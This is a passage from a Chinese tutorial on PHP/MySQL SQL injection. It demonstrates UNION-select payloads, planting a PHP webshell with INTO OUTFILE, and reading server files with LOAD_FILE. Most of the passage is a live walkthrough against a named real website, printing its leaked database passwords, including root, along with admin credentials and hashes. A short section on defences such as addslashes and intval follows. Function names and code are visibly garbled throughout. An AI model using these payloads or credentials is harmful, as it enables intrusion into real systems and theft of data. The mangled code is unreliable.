去 http://localhost/site/cmd1.php?cmd=dir 看看效果去 Ok 胜利执行。
如图 32
也很喜欢。 好爽的一个 webshel 吧!哈哈。
哈哈,不过不知道大家有没有发现我 magic_quotes_gpc = On 情况下完成这项工作的竟然在 phpmyadmin 里可以不用考虑引号的限制。说明什么?说明 phpmyadmin 太伟大了这也就是谈 magic_quotes_gpc = On 绕过时所卖的那个关子啦!
然后来得到 webshel 哦,6. 发现没有我还可以利用 updat 和 insert 来插入我数据。还用上面的那个例子,
<?php
//reg.php
$queri = "INSERT INTO member
'$login',VA LUES '$id'.'$pass','$email', 2' " ;
?>
email 地方输入 <?php system $cmd ; ?>
假设我注册后的 id 为 10
那么我可以再找到一个可以注入的地方
2,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.email,4,5,6,7,8,9,10,11%20from%20user%20where%20id=10%20 into%20outfile'C:/apache/htdocs/site/test.php'
好了又有了 wenshel 哦。
7.mysql 跨库查询
哈哈,大家是不是一直听说 mysql 不能跨库查询啊。今天我将要教大家一个好方法,通过这个方法来实现变相的跨库查询,方法就是通过 load_fil 来直接读出 mysql 中 data 文件夹下的文件内容,从而实现变态跨库查询。
举个例子啦
这之前我先讲一下 mysql data 文件夹下的结构
文件夹下依照表名生成三个后缀为 frm,Data 文件夹下有按数据库名生成的文件夹。myd,myi 三个文件,例如
alpha 库中有 alphaauthor 和 alphadb 两个表,Mysql 中有 alpha 数据库。
A lpha 文件夹内容如下图 33
alphadb.frm 放着表的结构,其中 alphadb.frm 放着 lphadb 表中的数据。 alphadb.myi 中放的内容随 mysql 版本不通会有所不同,具体可以自己用记事本打开来判断。
实验开始
假设我知道有另外的一个数据库 yminfo210 存在且存在表 user user 中放这 admin 信息。
2,http://localhost/site/display.php?id=451%20and%201=2%20%20union%20select%201.load_fil 'yminfo210/user.myd' ,4,5,6,7,8,9,10,11
load_fil 默认所在目录是 mysql 下的 data 目录,说明一下。所以我用
load_fil 'yminfo210/user.myd' 当然 load_fil '.info210/user.myd' 也是一样的注意的 into outfil 默认路径是所在数据库文件夹下。
结果如图 34
看读出来的内容
舼 ? admin 698d51a19d8a121ce581499d7b701668 admin@yoursite.comadmin question admin answer http://域名....yoursite.com ? 靃 ? KA 靃 ? 靃 ? 127.0.0.1 d|?? aaa 3dbe00a167653a1aaee01d93e77e730 sdf@sd.com sdfasdfsdfa asdfadfasd ?E 麷 AM 麷 A 127.0.0.1 222 222222223423
但是还是可以看出用户名是 admin 密码是 698d51a19d8a121ce581499d7b701668 后面其它另外的信息。 虽然乱码一堆。
下面的例子中也会提到哦! 通过这种方法我就实现了曲线跨库。
这次测试的对象是国内一著名平安类站点 ― ―黑白网络 说了这么多下面我来具体的使用一次。
听人家说黑白有漏洞?一起去看看吧。
http://域名....heibai.net/down/show.php?id=5403%20and%201=1
正常显示。
如图 35
http://域名....heibai.net/down/show.php?id=5403%20and%201=2
显示不正常。
如图 36
继续 好。
http://域名....域名 i.net/down/show.php?id=5403%20and%201=1 union select 1
显示结果如下
如图 37
而且还附带了 注意看图中没有显示顺序名。
Warning: mysql_fetch_object : suppli argument is not a valid MySQL result resourc in D:/web/域名 i/down/show.php on line 45
Warning: mysql_fetch_arrai : suppli argument is not a valid MySQL result resourc in D:/web/域名 i/down/global.php on line 578
晕了网站路径进去了那可就死定了哦!
直到猜到 继续。
2,http://域名....名 4444net/down/show.php?id=5403%20and%201=1%20union%20select%201.3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
时候正常显示了
如图 38
好我转换语句成为
2,http://域名....名 4444.net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19
显示如图 39
看看简介处显示为 12 可以猜测此处应该为字符型!
Ok 下面看看文件内容先
D:/web/域名 i/down/show.php 转化成 ascii 后为
58,char 100.47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112
2,view-source:http://域名....名 4 4444.net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,115,104,111,119,46,112,104,112 ,
14,13.15,16,17,18,19
至于为什么用,view-source: 指观察源代码。后面将讲到
显示出它源代码
如图 40
因为在 show.php 中有一句
<META HTTP-EQUIV=REFRESH CONTENT='0;URL=list.php'>
如果我直接在浏览器里提交会跳转到 list.php
发现这句 requir "./include/config.inc.php" ;
应该放这配置文件,好东西。 ok 继续
d:/web/域名 i/down/include/config.inc.php
58, 转化成 char 100.47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,
111,99.110,102,105,103,46,105,110,46,112,104,112
输入
2,http://域名....名 333 net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 100,58,47,119,101,98,47,104,101,105,98,97,105,47,100,111,119,110,47,105,110,99,108,117,100,101,47,
111,99.110,102,105,103,46,105,110,46,112,104,112 ,13,14,15,16,17,18,19
显示结果如图 41
里面内容主要有
..
ymDown 夜猫下载系统 ) 一个应用于网站提供下载服务的顺序
// ------------------------- -------- ------------------------- //
// 惯例设置 //
// ------------------------- -------- ------------------------- //
// 数据库信息
$dbhost = "localhost"; // 数据库主机名
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
$dbname = "download"; // 数据库名
// Cooki 名称
$cookie_nam = "域名 i";
// 版本号
$version = "1.0.1";
// 数据表名
$down_tabl = ymdown;
$down_user_t = ymdown_user;
$down_sort1_t = ymdown_sort1;
$down_sort2_t = ymdown_sort2;
而且我知道了 晕原来用的夜猫的下载系统。
$dbuser = "download";// 数据库用户名
$dbpasswd = "kunstar988"; // 数据库密码
说不定呆会有用哦。
知道夜猫的管理员密码放在 ymdown_us 中 用的表名是默认的表名。
2, 继续 http://域名....名 .net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,username,5,password,7,8,9,10,11,12,13,14,15,16,17,18,19 from ymdown_user
结果如图 42
根据提示我知道文件大小处的 usernam 应用平台处的 password 对照图 36
试验了很久都没有找到晕之。 即 username=dload password = 6558428 夜猫的后台默认在 admin 目录下。
想直接连接 mysql 发现 telnet 端口并没有开放。去看看别的吧!
http://www 名 .net/vip/article/login.php
看看先 看起来像是会员的登陆哦。
d:/web/域名 i/vip/article/login.php
58, 转化成 char 100.47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,
105,103.110,46,112,104,112
输入
2,http://域名....名 net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,108,111,
105,103.110,46,112,104,112 ,13,14,15,16,17,18,19
结果如图 43
其中
requir "./include/global.php" ;
requir "./include/config.inc.php" ;
requir "./mainfunction.php" ;
requir "./function.php" ;
当然了去看 config.inc.php 吧
d:/web/域名 i/vip/article/include/config.inc.php
58, 转成 char 100.47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,
99,110.108,117,100,101,47,99,111,102,105,103,46,105,99,46,112,104,112
输入
2,h t t p //域名....名.net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 100,58,47,119,101,98,47,104,101,105,98,97,105,47,118,105,112,47,97,114,116,105,99,108,101,47,105,
99,110.108,117,100,101,47,99,111,102,105,103,46,105,99,46,112,104,112 ,13,14,15,16,17,18,19
结果如图 44
显示了很多好东西哦
$dbhost = "localhost"; // 数据库主机名
$dbuser = "root"; // 数据库用户名
$dbpass = "234ytr8ut"; // 数据库密码
$dbname = "article"; // 数据库名
$ymcms_user_t = "user";
$ymcms_usergroup_t = "usergroup";
$ymcms_userrace_t = "userrace";
而且进去了 root 密码 表还是默认的表。
那样我就可以 into outfil 要是能连上它 mysql 该多好啊。
或许根本就没有用。 痛苦的找了找 phpmyadmin 没有找见。
读 c:/winnt/php.ini 发现
; Magic quot
;
; Magic quot for incom GET/POST/Cooki data.
magic_quotes_gpc = On
看看能不能搞几个会员账号 55555555 痛苦中。
直接读 data 下 articl 文件夹里的 user.myd 文件 猜测会员账号放在 user 表中。
A rticle/user.myd 转换成
114,char 97.116,105,99,108,101,47,117,115,101,114,46,109,121,100
输入
2,h t t p //域名....名.net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 97,114,116,105,99,108,101,47,117,115,101,114,46,109,121,100 ,13,14,15,16,17,18,19
结果如图 45
晕了竟然没有返回。来读 Article/user.frm
2,h t t p //www名.net/down/show.php?id=5403%20and%201=2%20union%20select%201.3,4,5,6,7,8,9,10,11,load_fil char 97,114,116,105,99,108,101,47,117,115,101,114,46,102,114,109 ,13,14,15,16,17,18,19
结果如图 46
可是为什么 Article/user.myd 读不出来呢 ? 要是 magic_quotes_gpc = Off 还可以 into outfil 来看看,晕了表结构都在而且读 Article/user.myi 时也成功。可是
测试就这样结束吧,郁闷中。下面的工作还是留给你来完成吧!
文中所述问题已经通知星坤了
四: php + mysql 注入的防范方法。
这里我就主要讲一下 php+mysql 注射攻击的防范方法。 上一期的专题里已经讲了很多的防范方法。
很多的注射攻击已经没有作用了 大家看到 magic_quotes_gpc = On 时候。
可以这样过滤 可以利用这个来加固我顺序。 Addslash 函数等同于 magic_quotes_gpc = On 而且与 magic_quotes_gpc = On 也不冲突。
$usernam = addslash $usernam ;
$query="SELECT * FROM user WHERE userid='$username'" ;
intval 函数可以将变量转换成整数类型,对于 id 型我可以利用 intval 函数。这样就可以了
可以这样
$id = intval $id ;
$query="SELECT * FROM alphadb WHERE articleid='$id'" ;
如果是字符型的呢?
然后再过滤 ” % 和 ” _ 可以先用 addslash 过滤一下。.
例如:
$search = addslash $search ;
"/_",$search = str_replac "_".$search ;
"/%",$search = str_replac "%".$search ;
可千万别在 magic_quotes_gpc = On 情况下替换 / 为 //, 记得。如下:
"",$password=str_replac "//".$password ;
记得在 dark 文章《对某 PHP 站点的一次渗透》中提到过这个问题(光盘中有收录)
如果是只用一个管理员管理的话,还有的就是登陆的地方。可以直接对 usernam 和 passwd 用 md5 加密,这样就不用害怕注入技术的发展了
Username=md5 $HTTP_POST_VA RS["username"] ;
Passwd=md5 $HTTP_POST_VA RS["passwd"] ;
后台登陆就是这样子的哦。
后记:
有很多技术还在继续发展中,本文就讲这么多了注入是一门灵活的技术。有任何问题和意见可以到炎黄兵团 ( 域名....名.com/域名....名.org 来找我也欢迎对文中内容批评指正。为便于大家学习本文所用到文章系统也将随光盘附送。
后后记:
时至今日,此文还是一年前所作。很多的新的技术都已经涌现进去,具体的内容请参阅平安天使 域名....4ngel.net 网站,关于本文的任何问题您可以到 域名....域名 .org 提出。